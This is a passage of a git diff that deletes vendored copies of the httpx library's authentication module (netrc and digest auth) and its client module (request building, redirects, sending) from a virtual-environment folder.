'netrc'. - # There's no need for us to load this module unless 'NetRCAuth' is being used. - import netrc - - self._netrc_info = netrc.netrc(file) - - def auth_flow(self, request: Request) -> typing.Generator[Request, Response, None]: - auth_info = self._netrc_info.authenticators(request.url.host) - if auth_info is None or not auth_info[2]: - # The netrc file did not have authentication credentials for this host. - yield request - else: - # Build a basic auth header with credentials from the netrc file. - request.headers["Authorization"] = self._build_auth_header( - username=auth_info[0], password=auth_info[2] - ) - yield request - - def _build_auth_header(self, username: str | bytes, password: str | bytes) -> str: - userpass = b":".join((to_bytes(username), to_bytes(password))) - token = b64encode(userpass).decode() - return f"Basic {token}" - - -class DigestAuth(Auth): - _ALGORITHM_TO_HASH_FUNCTION: dict[str, typing.Callable[[bytes], _Hash]] = { - "MD5": hashlib.md5, - "MD5-SESS": hashlib.md5, - "SHA": hashlib.sha1, - "SHA-SESS": hashlib.sha1, - "SHA-256": hashlib.sha256, - "SHA-256-SESS": hashlib.sha256, - "SHA-512": hashlib.sha512, - "SHA-512-SESS": hashlib.sha512, - } - - def __init__(self, username: str | bytes, password: str | bytes) -> None: - self._username = to_bytes(username) - self._password = to_bytes(password) - self._last_challenge: _DigestAuthChallenge | None = None - self._nonce_count = 1 - - def auth_flow(self, request: Request) -> typing.Generator[Request, Response, None]: - if self._last_challenge: - request.headers["Authorization"] = self._build_auth_header( - request, self._last_challenge - ) - - response = yield request - - if response.status_code != 401 or "www-authenticate" not in response.headers: - # If the response is not a 401 then we don't - # need to build an authenticated request. - return - - for auth_header in response.headers.get_list("www-authenticate"): - if auth_header.lower().startswith("digest "): - break - else: - # If the response does not include a 'WWW-Authenticate: Digest ...' - # header, then we don't need to build an authenticated request. - return - - self._last_challenge = self._parse_challenge(request, response, auth_header) - self._nonce_count = 1 - - request.headers["Authorization"] = self._build_auth_header( - request, self._last_challenge - ) - if response.cookies: - Cookies(response.cookies).set_cookie_header(request=request) - yield request - - def _parse_challenge( - self, request: Request, response: Response, auth_header: str - ) -> _DigestAuthChallenge: - """ - Returns a challenge from a Digest WWW-Authenticate header. - These take the form of: - `Digest realm="realm@host.com",qop="auth,auth-int",nonce="abc",opaque="xyz"` - """ - scheme, _, fields = auth_header.partition(" ") - - # This method should only ever have been called with a Digest auth header. - assert scheme.lower() == "digest" - - header_dict: dict[str, str] = {} - for field in parse_http_list(fields): - key, value = field.strip().split("=", 1) - header_dict[key] = unquote(value) - - try: - realm = header_dict["realm"].encode() - nonce = header_dict["nonce"].encode() - algorithm = header_dict.get("algorithm", "MD5") - opaque = header_dict["opaque"].encode() if "opaque" in header_dict else None - qop = header_dict["qop"].encode() if "qop" in header_dict else None - return _DigestAuthChallenge( - realm=realm, nonce=nonce, algorithm=algorithm, opaque=opaque, qop=qop - ) - except KeyError as exc: - message = "Malformed Digest WWW-Authenticate header" - raise ProtocolError(message, request=request) from exc - - def _build_auth_header( - self, request: Request, challenge: _DigestAuthChallenge - ) -> str: - hash_func = self._ALGORITHM_TO_HASH_FUNCTION[challenge.algorithm.upper()] - - def digest(data: bytes) -> bytes: - return hash_func(data).hexdigest().encode() - - A1 = b":".join((self._username, challenge.realm, self._password)) - - path = request.url.raw_path - A2 = b":".join((request.method.encode(), path)) - # TODO: implement auth-int - HA2 = digest(A2) - - nc_value = b"%08x" % self._nonce_count - cnonce = self._get_client_nonce(self._nonce_count, challenge.nonce) - self._nonce_count += 1 - - HA1 = digest(A1) - if challenge.algorithm.lower().endswith("-sess"): - HA1 = digest(b":".join((HA1, challenge.nonce, cnonce))) - - qop = self._resolve_qop(challenge.qop, request=request) - if qop is None: - # Following RFC 2069 - digest_data = [HA1, challenge.nonce, HA2] - else: - # Following RFC 2617/7616 - digest_data = [HA1, challenge.nonce, nc_value, cnonce, qop, HA2] - - format_args = { - "username": self._username, - "realm": challenge.realm, - "nonce": challenge.nonce, - "uri": path, - "response": digest(b":".join(digest_data)), - "algorithm": challenge.algorithm.encode(), - } - if challenge.opaque: - format_args["opaque"] = challenge.opaque - if qop: - format_args["qop"] = b"auth" - format_args["nc"] = nc_value - format_args["cnonce"] = cnonce - - return "Digest " + self._get_header_value(format_args) - - def _get_client_nonce(self, nonce_count: int, nonce: bytes) -> bytes: - s = str(nonce_count).encode() - s += nonce - s += time.ctime().encode() - s += os.urandom(8) - - return hashlib.sha1(s).hexdigest()[:16].encode() - - def _get_header_value(self, header_fields: dict[str, bytes]) -> str: - NON_QUOTED_FIELDS = ("algorithm", "qop", "nc") - QUOTED_TEMPLATE = '{}="{}"' - NON_QUOTED_TEMPLATE = "{}={}" - - header_value = "" - for i, (field, value) in enumerate(header_fields.items()): - if i > 0: - header_value += ", " - template = ( - QUOTED_TEMPLATE - if field not in NON_QUOTED_FIELDS - else NON_QUOTED_TEMPLATE - ) - header_value += template.format(field, to_str(value)) - - return header_value - - def _resolve_qop(self, qop: bytes | None, request: Request) -> bytes | None: - if qop is None: - return None - qops = re.split(b", ?", qop) - if b"auth" in qops: - return b"auth" - - if qops == [b"auth-int"]: - raise NotImplementedError("Digest auth-int support is not yet implemented") - - message = f'Unexpected qop value "{qop!r}" in digest auth' - raise ProtocolError(message, request=request) - - -class _DigestAuthChallenge(typing.NamedTuple): - realm: bytes - nonce: bytes - algorithm: str - opaque: bytes | None - qop: bytes | None diff --git a/venv/Lib/site-packages/httpx/_client.py b/venv/Lib/site-packages/httpx/_client.py deleted file mode 100644 index 2249231f8c3b912c731ff160344d3672e2f11738..0000000000000000000000000000000000000000 --- a/venv/Lib/site-packages/httpx/_client.py +++ /dev/null @@ -1,2019 +0,0 @@ -from __future__ import annotations - -import datetime -import enum -import logging -import time -import typing -import warnings -from contextlib import asynccontextmanager, contextmanager -from types import TracebackType - -from .__version__ import __version__ -from ._auth import Auth, BasicAuth, FunctionAuth -from ._config import ( - DEFAULT_LIMITS, - DEFAULT_MAX_REDIRECTS, - DEFAULT_TIMEOUT_CONFIG, - Limits, - Proxy, - Timeout, -) -from ._decoders import SUPPORTED_DECODERS -from ._exceptions import ( - InvalidURL, - RemoteProtocolError, - TooManyRedirects, - request_context, -) -from ._models import Cookies, Headers, Request, Response -from ._status_codes import codes -from ._transports.base import AsyncBaseTransport, BaseTransport -from ._transports.default import AsyncHTTPTransport, HTTPTransport -from ._types import ( - AsyncByteStream, - AuthTypes, - CertTypes, - CookieTypes, - HeaderTypes, - ProxyTypes, - QueryParamTypes, - RequestContent, - RequestData, - RequestExtensions, - RequestFiles, - SyncByteStream, - TimeoutTypes, -) -from ._urls import URL, QueryParams -from ._utils import URLPattern, get_environment_proxies - -if typing.TYPE_CHECKING: - import ssl # pragma: no cover - -__all__ = ["USE_CLIENT_DEFAULT", "AsyncClient", "Client"] - -# The type annotation for @classmethod and context managers here follows PEP 484 -# https://www.python.org/dev/peps/pep-0484/#annotating-instance-and-class-methods -T = typing.TypeVar("T", bound="Client") -U = typing.TypeVar("U", bound="AsyncClient") - - -def _is_https_redirect(url: URL, location: URL) -> bool: - """ - Return 'True' if 'location' is a HTTPS upgrade of 'url' - """ - if url.host != location.host: - return False - - return ( - url.scheme == "http" - and _port_or_default(url) == 80 - and location.scheme == "https" - and _port_or_default(location) == 443 - ) - - -def _port_or_default(url: URL) -> int | None: - if url.port is not None: - return url.port - return {"http": 80, "https": 443}.get(url.scheme) - - -def _same_origin(url: URL, other: URL) -> bool: - """ - Return 'True' if the given URLs share the same origin. - """ - return ( - url.scheme == other.scheme - and url.host == other.host - and _port_or_default(url) == _port_or_default(other) - ) - - -class UseClientDefault: - """ - For some parameters such as `auth=...` and `timeout=...` we need to be able - to indicate the default "unset" state, in a way that is distinctly different - to using `None`. - - The default "unset" state indicates that whatever default is set on the - client should be used. This is different to setting `None`, which - explicitly disables the parameter, possibly overriding a client default. - - For example we use `timeout=USE_CLIENT_DEFAULT` in the `request()` signature. - Omitting the `timeout` parameter will send a request using whatever default - timeout has been configured on the client. Including `timeout=None` will - ensure no timeout is used. - - Note that user code shouldn't need to use the `USE_CLIENT_DEFAULT` constant, - but it is used internally when a parameter is not included. - """ - - -USE_CLIENT_DEFAULT = UseClientDefault() - - -logger = logging.getLogger("httpx") - -USER_AGENT = f"python-httpx/{__version__}" -ACCEPT_ENCODING = ", ".join( - [key for key in SUPPORTED_DECODERS.keys() if key != "identity"] -) - - -class ClientState(enum.Enum): - # UNOPENED: - # The client has been instantiated, but has not been used to send a request, - # or been opened by entering the context of a `with` block. - UNOPENED = 1 - # OPENED: - # The client has either sent a request, or is within a `with` block. - OPENED = 2 - # CLOSED: - # The client has either exited the `with` block, or `close()` has - # been called explicitly. - CLOSED = 3 - - -class BoundSyncStream(SyncByteStream): - """ - A byte stream that is bound to a given response instance, and that - ensures the `response.elapsed` is set once the response is closed. - """ - - def __init__( - self, stream: SyncByteStream, response: Response, start: float - ) -> None: - self._stream = stream - self._response = response - self._start = start - - def __iter__(self) -> typing.Iterator[bytes]: - for chunk in self._stream: - yield chunk - - def close(self) -> None: - elapsed = time.perf_counter() - self._start - self._response.elapsed = datetime.timedelta(seconds=elapsed) - self._stream.close() - - -class BoundAsyncStream(AsyncByteStream): - """ - An async byte stream that is bound to a given response instance, and that - ensures the `response.elapsed` is set once the response is closed. - """ - - def __init__( - self, stream: AsyncByteStream, response: Response, start: float - ) -> None: - self._stream = stream - self._response = response - self._start = start - - async def __aiter__(self) -> typing.AsyncIterator[bytes]: - async for chunk in self._stream: - yield chunk - - async def aclose(self) -> None: - elapsed = time.perf_counter() - self._start - self._response.elapsed = datetime.timedelta(seconds=elapsed) - await self._stream.aclose() - - -EventHook = typing.Callable[..., typing.Any] - - -class BaseClient: - def __init__( - self, - *, - auth: AuthTypes | None = None, - params: QueryParamTypes | None = None, - headers: HeaderTypes | None = None, - cookies: CookieTypes | None = None, - timeout: TimeoutTypes = DEFAULT_TIMEOUT_CONFIG, - follow_redirects: bool = False, - max_redirects: int = DEFAULT_MAX_REDIRECTS, - event_hooks: None | (typing.Mapping[str, list[EventHook]]) = None, - base_url: URL | str = "", - trust_env: bool = True, - default_encoding: str | typing.Callable[[bytes], str] = "utf-8", - ) -> None: - event_hooks = {} if event_hooks is None else event_hooks - - self._base_url = self._enforce_trailing_slash(URL(base_url)) - - self._auth = self._build_auth(auth) - self._params = QueryParams(params) - self.headers = Headers(headers) - self._cookies = Cookies(cookies) - self._timeout = Timeout(timeout) - self.follow_redirects = follow_redirects - self.max_redirects = max_redirects - self._event_hooks = { - "request": list(event_hooks.get("request", [])), - "response": list(event_hooks.get("response", [])), - } - self._trust_env = trust_env - self._default_encoding = default_encoding - self._state = ClientState.UNOPENED - - @property - def is_closed(self) -> bool: - """ - Check if the client being closed - """ - return self._state == ClientState.CLOSED - - @property - def trust_env(self) -> bool: - return self._trust_env - - def _enforce_trailing_slash(self, url: URL) -> URL: - if url.raw_path.endswith(b"/"): - return url - return url.copy_with(raw_path=url.raw_path + b"/") - - def _get_proxy_map( - self, proxy: ProxyTypes | None, allow_env_proxies: bool - ) -> dict[str, Proxy | None]: - if proxy is None: - if allow_env_proxies: - return { - key: None if url is None else Proxy(url=url) - for key, url in get_environment_proxies().items() - } - return {} - else: - proxy = Proxy(url=proxy) if isinstance(proxy, (str, URL)) else proxy - return {"all://": proxy} - - @property - def timeout(self) -> Timeout: - return self._timeout - - @timeout.setter - def timeout(self, timeout: TimeoutTypes) -> None: - self._timeout = Timeout(timeout) - - @property - def event_hooks(self) -> dict[str, list[EventHook]]: - return self._event_hooks - - @event_hooks.setter - def event_hooks(self, event_hooks: dict[str, list[EventHook]]) -> None: - self._event_hooks = { - "request": list(event_hooks.get("request", [])), - "response": list(event_hooks.get("response", [])), - } - - @property - def auth(self) -> Auth | None: - """ - Authentication class used when none is passed at the request-level. - - See also [Authentication][0]. - - [0]: /quickstart/#authentication - """ - return self._auth - - @auth.setter - def auth(self, auth: AuthTypes) -> None: - self._auth = self._build_auth(auth) - - @property - def base_url(self) -> URL: - """ - Base URL to use when sending requests with relative URLs. - """ - return self._base_url - - @base_url.setter - def base_url(self, url: URL | str) -> None: - self._base_url = self._enforce_trailing_slash(URL(url)) - - @property - def headers(self) -> Headers: - """ - HTTP headers to include when sending requests. - """ - return self._headers - - @headers.setter - def headers(self, headers: HeaderTypes) -> None: - client_headers = Headers( - { - b"Accept": b"*/*", - b"Accept-Encoding": ACCEPT_ENCODING.encode("ascii"), - b"Connection": b"keep-alive", - b"User-Agent": USER_AGENT.encode("ascii"), - } - ) - client_headers.update(headers) - self._headers = client_headers - - @property - def cookies(self) -> Cookies: - """ - Cookie values to include when sending requests. - """ - return self._cookies - - @cookies.setter - def cookies(self, cookies: CookieTypes) -> None: - self._cookies = Cookies(cookies) - - @property - def params(self) -> QueryParams: - """ - Query parameters to include in the URL when sending requests. - """ - return self._params - - @params.setter - def params(self, params: QueryParamTypes) -> None: - self._params = QueryParams(params) - - def build_request( - self, - method: str, - url: URL | str, - *, - content: RequestContent | None = None, - data: RequestData | None = None, - files: RequestFiles | None = None, - json: typing.Any | None = None, - params: QueryParamTypes | None = None, - headers: HeaderTypes | None = None, - cookies: CookieTypes | None = None, - timeout: TimeoutTypes | UseClientDefault = USE_CLIENT_DEFAULT, - extensions: RequestExtensions | None = None, - ) -> Request: - """ - Build and return a request instance. - - * The `params`, `headers` and `cookies` arguments - are merged with any values set on the client. - * The `url` argument is merged with any `base_url` set on the client. - - See also: [Request instances][0] - - [0]: /advanced/clients/#request-instances - """ - url = self._merge_url(url) - headers = self._merge_headers(headers) - cookies = self._merge_cookies(cookies) - params = self._merge_queryparams(params) - extensions = {} if extensions is None else extensions - if "timeout" not in extensions: - timeout = ( - self.timeout - if isinstance(timeout, UseClientDefault) - else Timeout(timeout) - ) - extensions = dict(**extensions, timeout=timeout.as_dict()) - return Request( - method, - url, - content=content, - data=data, - files=files, - json=json, - params=params, - headers=headers, - cookies=cookies, - extensions=extensions, - ) - - def _merge_url(self, url: URL | str) -> URL: - """ - Merge a URL argument together with any 'base_url' on the client, - to create the URL used for the outgoing request. - """ - merge_url = URL(url) - if merge_url.is_relative_url: - # To merge URLs we always append to the base URL. To get this - # behaviour correct we always ensure the base URL ends in a '/' - # separator, and strip any leading '/' from the merge URL. - # - # So, eg... - # - # >>> client = Client(base_url="https://www.example.com/subpath") - # >>> client.base_url - # URL('https://www.example.com/subpath/') - # >>> client.build_request("GET", "/path").url - # URL('https://www.example.com/subpath/path') - merge_raw_path = self.base_url.raw_path + merge_url.raw_path.lstrip(b"/") - return self.base_url.copy_with(raw_path=merge_raw_path) - return merge_url - - def _merge_cookies(self, cookies: CookieTypes | None = None) -> CookieTypes | None: - """ - Merge a cookies argument together with any cookies on the client, - to create the cookies used for the outgoing request. - """ - if cookies or self.cookies: - merged_cookies = Cookies(self.cookies) - merged_cookies.update(cookies) - return merged_cookies - return cookies - - def _merge_headers(self, headers: HeaderTypes | None = None) -> HeaderTypes | None: - """ - Merge a headers argument together with any headers on the client, - to create the headers used for the outgoing request. - """ - merged_headers = Headers(self.headers) - merged_headers.update(headers) - return merged_headers - - def _merge_queryparams( - self, params: QueryParamTypes | None = None - ) -> QueryParamTypes | None: - """ - Merge a queryparams argument together with any queryparams on the client, - to create the queryparams used for the outgoing request. - """ - if params or self.params: - merged_queryparams = QueryParams(self.params) - return merged_queryparams.merge(params) - return params - - def _build_auth(self, auth: AuthTypes | None) -> Auth | None: - if auth is None: - return None - elif isinstance(auth, tuple): - return BasicAuth(username=auth[0], password=auth[1]) - elif isinstance(auth, Auth): - return auth - elif callable(auth): - return FunctionAuth(func=auth) - else: - raise TypeError(f'Invalid "auth" argument: {auth!r}') - - def _build_request_auth( - self, - request: Request, - auth: AuthTypes | UseClientDefault | None = USE_CLIENT_DEFAULT, - ) -> Auth: - auth = ( - self._auth if isinstance(auth, UseClientDefault) else self._build_auth(auth) - ) - - if auth is not None: - return auth - - username, password = request.url.username, request.url.password - if username or password: - return BasicAuth(username=username, password=password) - - return Auth() - - def _build_redirect_request(self, request: Request, response: Response) -> Request: - """ - Given a request and a redirect response, return a new request that - should be used to effect the redirect. - """ - method = self._redirect_method(request, response) - url = self._redirect_url(request, response) - headers = self._redirect_headers(request, url, method) - stream = self._redirect_stream(request, method) - cookies = Cookies(self.cookies) - return Request( - method=method, - url=url, - headers=headers, - cookies=cookies, - stream=stream, - extensions=request.extensions, - ) - - def _redirect_method(self, request: Request, response: Response) -> str: - """ - When being redirected we may want to change the method of the request - based on certain specs or browser behavior. - """ - method = request.method - - # https://tools.ietf.org/html/rfc7231#section-6.4.4 - if response.status_code == codes.SEE_OTHER and method != "HEAD": - method = "GET" - - # Do what the browsers do, despite standards... - # Turn 302s into GETs. - if response.status_code == codes.FOUND and method != "HEAD": - method = "GET" - - # If a POST is responded to with a 301, turn it into a GET. - # This bizarre behaviour is explained in 'requests' issue 1704. - if response.status_code == codes.MOVED_PERMANENTLY and method == "POST": - method = "GET" - - return method - - def _redirect_url(self, request: Request, response: Response) -> URL: - """ - Return the URL for the redirect to follow. - """ - location = response.headers["Location"] - - try: - url = URL(location) - except InvalidURL as exc: - raise RemoteProtocolError( - f"Invalid URL in location header: {exc}.", request=request - ) from None - - # Handle malformed 'Location' headers that are "absolute" form, have no host. - # See: https://github.com/encode/httpx/issues/771 - if url.scheme and not url.host: - url = url.copy_with(host=request.url.host) - - # Facilitate relative 'Location' headers, as allowed by RFC 7231. - # (e.g. '/path/to/resource' instead of 'http://domain.tld/path/to/resource') - if url.is_relative_url: - url = request.url.join(url) - - # Attach previous fragment if needed (RFC 7231 7.1.2) - if request.url.fragment and not url.fragment: - url = url.copy_with(fragment=request.url.fragment) - - return url - - def _redirect_headers(self, request: Request, url: URL, method: str) -> Headers: - """ - Return the headers that should be used for the redirect request. - """ - headers = Headers(request.headers) - - if not _same_origin(url, request.url): - if not _is_https_redirect(request.url, url): - # Strip Authorization headers when responses are redirected - # away from the origin. (Except for direct HTTP to HTTPS redirects.) - headers.pop("Authorization", None) - - # Update the Host header. - headers["Host"] = url.netloc.decode("ascii") - - if method != request.method and method == "GET": - # If we've switch to a 'GET' request, then strip any headers which - # are only relevant to the request body. - headers.pop("Content-Length", None) - headers.pop("Transfer-Encoding", None) - - # We should use the client cookie store to determine any cookie header, - # rather than whatever was on the original outgoing request. - headers.pop("Cookie", None) - - return headers - - def _redirect_stream( - self, request: Request, method: str - ) -> SyncByteStream | AsyncByteStream | None: - """ - Return the body that should be used for the redirect request. - """ - if method != request.method and method == "GET": - return None - - return request.stream - - def _set_timeout(self, request: Request) -> None: - if "timeout" not in request.extensions: - timeout = ( - self.timeout - if isinstance(self.timeout, UseClientDefault) - else Timeout(self.timeout) - ) - request.extensions = dict(**request.extensions, timeout=timeout.as_dict()) - - -class Client(BaseClient): - """ - An HTTP client, with connection pooling, HTTP/2, redirects, cookie persistence, etc. - - It can be shared between threads. - - Usage: - - ```python - >>> client = httpx.Client() - >>> response = client.get('https://example.org') - ``` - - **Parameters:** - - * **auth** - *(optional)* An authentication class to use when sending - requests. - * **params** - *(optional)* Query parameters to include in request URLs, as - a string, dictionary, or sequence of two-tuples. - * **headers** - *(optional)* Dictionary of HTTP headers to include when - sending requests. - * **cookies** - *(optional)* Dictionary of Cookie items to include when - sending requests. - * **verify** - *(optional)* Either `True` to use an SSL context with the - default CA bundle, `False` to disable verification, or an instance of - `ssl.SSLContext` to use a custom context. - * **http2** - *(optional)* A boolean indicating if HTTP/2 support should be - enabled. Defaults to `False`. - * **proxy** - *(optional)* A proxy URL where all the traffic should be routed. - * **timeout** - *(optional)* The timeout configuration to use when sending - requests. - * **limits** - *(optional)* The limits configuration to use. - * **max_redirects** - *(optional)* The maximum number of redirect responses - that should be followed. - * **base_url** - *(optional)* A URL to use as the base when building - request URLs. - * **transport** - *(optional)* A transport class to use for sending requests - over the network. - * **trust_env** - *(optional)* Enables or disables usage of environment - variables for configuration. - * **default_encoding** - *(optional)* The default encoding to use for decoding - response text, if no charset information is included in a response Content-Type - header. Set to a callable for automatic character set detection. Default: "utf-8". - """ - - def __init__( - self, - *, - auth: AuthTypes | None = None, - params: QueryParamTypes | None = None, - headers: HeaderTypes | None = None, - cookies: CookieTypes | None = None, - verify: ssl.SSLContext | str | bool = True, - cert: CertTypes | None = None, - trust_env: bool = True, - http1: bool = True, - http2: bool = False, - proxy: ProxyTypes | None = None, - mounts: None | (typing.Mapping[str, BaseTransport | None]) = None, - timeout: TimeoutTypes = DEFAULT_TIMEOUT_CONFIG, - follow_redirects: bool = False, - limits: Limits = DEFAULT_LIMITS, - max_redirects: int = DEFAULT_MAX_REDIRECTS, - event_hooks: None | (typing.Mapping[str, list[EventHook]]) = None, - base_url: URL | str = "", - transport: BaseTransport | None = None, - default_encoding: str | typing.Callable[[bytes], str] = "utf-8", - ) -> None: - super().__init__( - auth=auth, - params=params, - headers=headers, - cookies=cookies, - timeout=timeout, - follow_redirects=follow_redirects, - max_redirects=max_redirects, - event_hooks=event_hooks, - base_url=base_url, - trust_env=trust_env, - default_encoding=default_encoding, - ) - - if http2: - try: - import h2 # noqa - except ImportError: # pragma: no cover - raise ImportError( - "Using http2=True, but the 'h2' package is not installed. " - "Make sure to install httpx using `pip install httpx[http2]`." - ) from None - - allow_env_proxies = trust_env and transport is None - proxy_map = self._get_proxy_map(proxy, allow_env_proxies) - - self._transport = self._init_transport( - verify=verify, - cert=cert, - trust_env=trust_env, - http1=http1, - http2=http2, - limits=limits, - transport=transport, - ) - self._mounts: dict[URLPattern, BaseTransport | None] = { - URLPattern(key): None - if proxy is None - else self._init_proxy_transport( - proxy, - verify=verify, - cert=cert, - trust_env=trust_env, - http1=http1, - http2=http2, - limits=limits, - ) - for key, proxy in proxy_map.items() - } - if mounts is not None: - self._mounts.update( - {URLPattern(key): transport for key, transport in mounts.items()} - ) - - self._mounts = dict(sorted(self._mounts.items())) - - def _init_transport( - self, - verify: ssl.SSLContext | str | bool = True, - cert: CertTypes | None = None, - trust_env: bool = True, - http1: bool = True, - http2: bool = False, - limits: Limits = DEFAULT_LIMITS, - transport: BaseTransport | None = None, - ) -> BaseTransport: - if transport is not None: - return transport - - return HTTPTransport( - verify=verify, - cert=cert, - trust_env=trust_env, - http1=http1, - http2=http2, - limits=limits, - ) - - def _init_proxy_transport( - self, - proxy: Proxy, - verify: ssl.SSLContext | str | bool = True, - cert: CertTypes | None = None, - trust_env: bool = True, - http1: bool = True, - http2: bool = False, - limits: Limits = DEFAULT_LIMITS, - ) -> BaseTransport: - return HTTPTransport( - verify=verify, - cert=cert, - trust_env=trust_env, - http1=http1, - http2=http2, - limits=limits, - proxy=proxy, - ) - - def _transport_for_url(self, url: URL) -> BaseTransport: - """ - Returns the transport instance that should be used for a given URL. - This will either be the standard connection pool, or a proxy. - """ - for pattern, transport in self._mounts.items(): - if pattern.matches(url): - return self._transport if transport is None else transport - - return self._transport - - def request( - self, - method: str, - url: URL | str, - *, - content: RequestContent | None = None, - data: RequestData | None = None, - files: RequestFiles | None = None, - json: typing.Any | None = None, - params: QueryParamTypes | None = None, - headers: HeaderTypes | None = None, - cookies: CookieTypes | None = None, - auth: AuthTypes | UseClientDefault | None = USE_CLIENT_DEFAULT, - follow_redirects: bool | UseClientDefault = USE_CLIENT_DEFAULT, - timeout: TimeoutTypes | UseClientDefault = USE_CLIENT_DEFAULT, - extensions: RequestExtensions | None = None, - ) -> Response: - """ - Build and send a request. - - Equivalent to: - - ```python - request = client.build_request(...) - response = client.send(request, ...) - ``` - - See `Client.build_request()`, `Client.send()` and - [Merging of configuration][0] for how the various parameters - are merged with client-level configuration. - - [0]: /advanced/clients/#merging-of-configuration - """ - if cookies is not None: - message = ( - "Setting per-request cookies=<...> is being deprecated, because " - "the expected behaviour on cookie persistence is ambiguous. Set " - "cookies directly on the client instance instead." - ) - warnings.warn(message, DeprecationWarning, stacklevel=2) - - request = self.build_request( - method=method, - url=url, - content=content, - data=data, - files=files, - json=json, - params=params, - headers=headers, - cookies=cookies, - timeout=timeout, - extensions=extensions, - ) - return self.send(request, auth=auth, follow_redirects=follow_redirects) - - @contextmanager - def stream( - self, - method: str, - url: URL | str, - *, - content: RequestContent | None = None, - data: RequestData | None = None, - files: RequestFiles | None = None, - json: typing.Any | None = None, - params: QueryParamTypes | None = None, - headers: HeaderTypes | None = None, - cookies: CookieTypes | None = None, - auth: AuthTypes | UseClientDefault | None = USE_CLIENT_DEFAULT, - follow_redirects: bool | UseClientDefault = USE_CLIENT_DEFAULT, - timeout: TimeoutTypes | UseClientDefault = USE_CLIENT_DEFAULT, - extensions: RequestExtensions | None = None, - ) -> typing.Iterator[Response]: - """ - Alternative to `httpx.request()` that streams the response body - instead of loading it into memory at once. - - **Parameters**: See `httpx.request`. - - See also: [Streaming Responses][0] - - [0]: /quickstart#streaming-responses - """ - request = self.build_request( - method=method, - url=url, - content=content, - data=data, - files=files, - json=json, - params=params, - headers=headers, - cookies=cookies, - timeout=timeout, - extensions=extensions, - ) - response = self.send( - request=request, - auth=auth, - follow_redirects=follow_redirects, - stream=True, - ) - try: - yield response - finally: - response.close() - - def send( - self, - request: Request, - *, - stream: bool = False, - auth: AuthTypes | UseClientDefault | None = USE_CLIENT_DEFAULT, - follow_redirects: bool | UseClientDefault = USE_CLIENT_DEFAULT, - ) -> Response: - """ - Send a request. - - The request is sent as-is, unmodified. - - Typically you'll want to build one with `Client.build_request()` - so that any client-level configuration is merged into the request, - but passing an explicit `httpx.Request()` is supported as well. - - See also: [Request instances][0] - - [0]: /advanced/clients/#request-instances - """ - if self._state == ClientState.CLOSED: - raise RuntimeError("Cannot send a request, as the client has been closed.") - - self._state = ClientState.OPENED - follow_redirects = ( - self.follow_redirects - if isinstance(follow_redirects, UseClientDefault) - else follow_redirects - ) - - self._set_timeout(request) - - auth = self._build_request_auth(request, auth) - - response = self._send_handling_auth( - request, - auth=auth, - follow_redirects=follow_redirects, - history=[], - ) - try: - if not stream: - response.read() - - return response - - except BaseException as exc: - response.close() - raise exc - - def _send_handling_auth( - self, - request: Request, - auth: Auth, - follow_redirects: bool, - history: list[Response], - ) -> Response: - auth_flow = auth.sync_auth_flow(request) - try: - request = next(auth_flow) - - while True: - response = self._send_handling_redirects( - request, - follow_redirects=follow_redirects, - history=history, - ) - try: - try: - next_request = auth_flow.send(response) - except StopIteration: - return response - - response.history = list(history) - response.read() - request = next_request - history.append(response) - - except BaseException as exc: - response.close() - raise exc - finally: - auth_flow.close() - - def _send_handling_redirects( - self, - request: Request, - follow_redirects: bool, - history: list[Response], - ) -> Response: - while True: - if len(history) > self.max_redirects: - raise TooManyRedirects( - "Exceeded maximum allowed redirects.", request=request - ) - - for hook in self._event_hooks["request"]: - hook(request) - - response = self._send_single_request(request) - try: - for hook in self._event_hooks["response"]: - hook(response) - response.history = list(history) - - if not response.has_redirect_location: - return response - - request = self._build_redirect_request(request, response) - history = history + [response] - - if follow_redirects: - response.read() - else: - response.next_request = request - return response - - except BaseException as exc: - response.close() - raise exc - - def _send_single_request(self, request: Request) -> Response: - """ - Sends a single request, without handling any redirections. - """ - transport = self._transport_for_url(request.url) - start = time.perf_counter() - - if not isinstance(request.stream, SyncByteStream): - raise RuntimeError( - "Attempted to send an async request with a sync Client instance." - ) - - with request_context(request=request): - response = transport.handle_request(request) - - assert isinstance(response.stream, SyncByteStream) - - response.request = request - response.stream = BoundSyncStream( - response.stream, response=response, start=start - ) - self.cookies.extract_cookies(response) - response.default_encoding = self._default_encoding - - logger.info( - 'HTTP Request: %s %s "%s %d %s"', - request.method, - request.url, - response.http_version, - response.status_code, - response.reason_phrase, - ) - - return response - - def get( - self, - url: URL | str, - *, - params: QueryParamTypes | None = None, - headers: HeaderTypes | None = None, - cookies: CookieTypes | None = None, - auth: AuthTypes | UseClientDefault | None = USE_CLIENT_DEFAULT, - follow_redirects: bool | UseClientDefault = USE_CLIENT_DEFAULT, - timeout: TimeoutTypes | UseClientDefault = USE_CLIENT_DEFAULT, - extensions: RequestExtensions | None = None, - ) -> Response: - """ - Send a `GET` request. - - **Parameters**: See `httpx.request`. - """ - return self.request( - "GET", - url, - params=params, - headers=headers, - cookies=cookies, - auth=auth, - follow_redirects=follow_redirects, - timeout=timeout, - extensions=extensions, - ) - - def options( - self, - url: URL | str, - *, - params: QueryParamTypes | None = None, - headers: HeaderTypes | None = None, - cookies: CookieTypes | None = None, - auth: AuthTypes | UseClientDefault = USE_CLIENT_DEFAULT, - follow_redirects: bool | UseClientDefault = USE_CLIENT_DEFAULT, - timeout: TimeoutTypes | UseClientDefault = USE_CLIENT_DEFAULT, - extensions: RequestExtensions | None = None, - ) -> Response: - """ - Send an `OPTIONS` request. - - **Parameters**: See `httpx.request`. - """ - return self.request( - "OPTIONS", - url, - params=params, - headers=headers, - cookies=cookies, - auth=auth, - follow_redirects=follow_redirects, - timeout=timeout, - extensions=extensions, - ) - - def head( - self, - url: URL | str, - *, - params: QueryParamTypes | None = None, - headers: HeaderTypes | None = None, - cookies: CookieTypes | None = None, - auth: AuthTypes | UseClientDefault = USE_CLIENT_DEFAULT, - follow_redirects: bool | UseClientDefault = USE_CLIENT_DEFAULT, - timeout: TimeoutTypes | UseClientDefault = USE_CLIENT_DEFAULT, - extensions: RequestExtensions | None = None, - ) -> Response: - """ - Send a `HEAD` request. - - **Parameters**: See `httpx.request`. - """ - return self.request( - "HEAD", - url, - params=params, - headers=headers, - cookies=cookies, - auth=auth, - follow_redirects=follow_redirects, - timeout=timeout, - extensions=extensions, - ) - - def post( - self, - url: URL | str, - *, - content: RequestContent | None = None, - data: RequestData | None = None, - files: RequestFiles | None = None, - json: typing.Any | None = None, - params: QueryParamTypes | None = None, - headers: HeaderTypes | None = None, - cookies: CookieTypes | None = None, - auth: AuthTypes | UseClientDefault = USE_CLIENT_DEFAULT, - 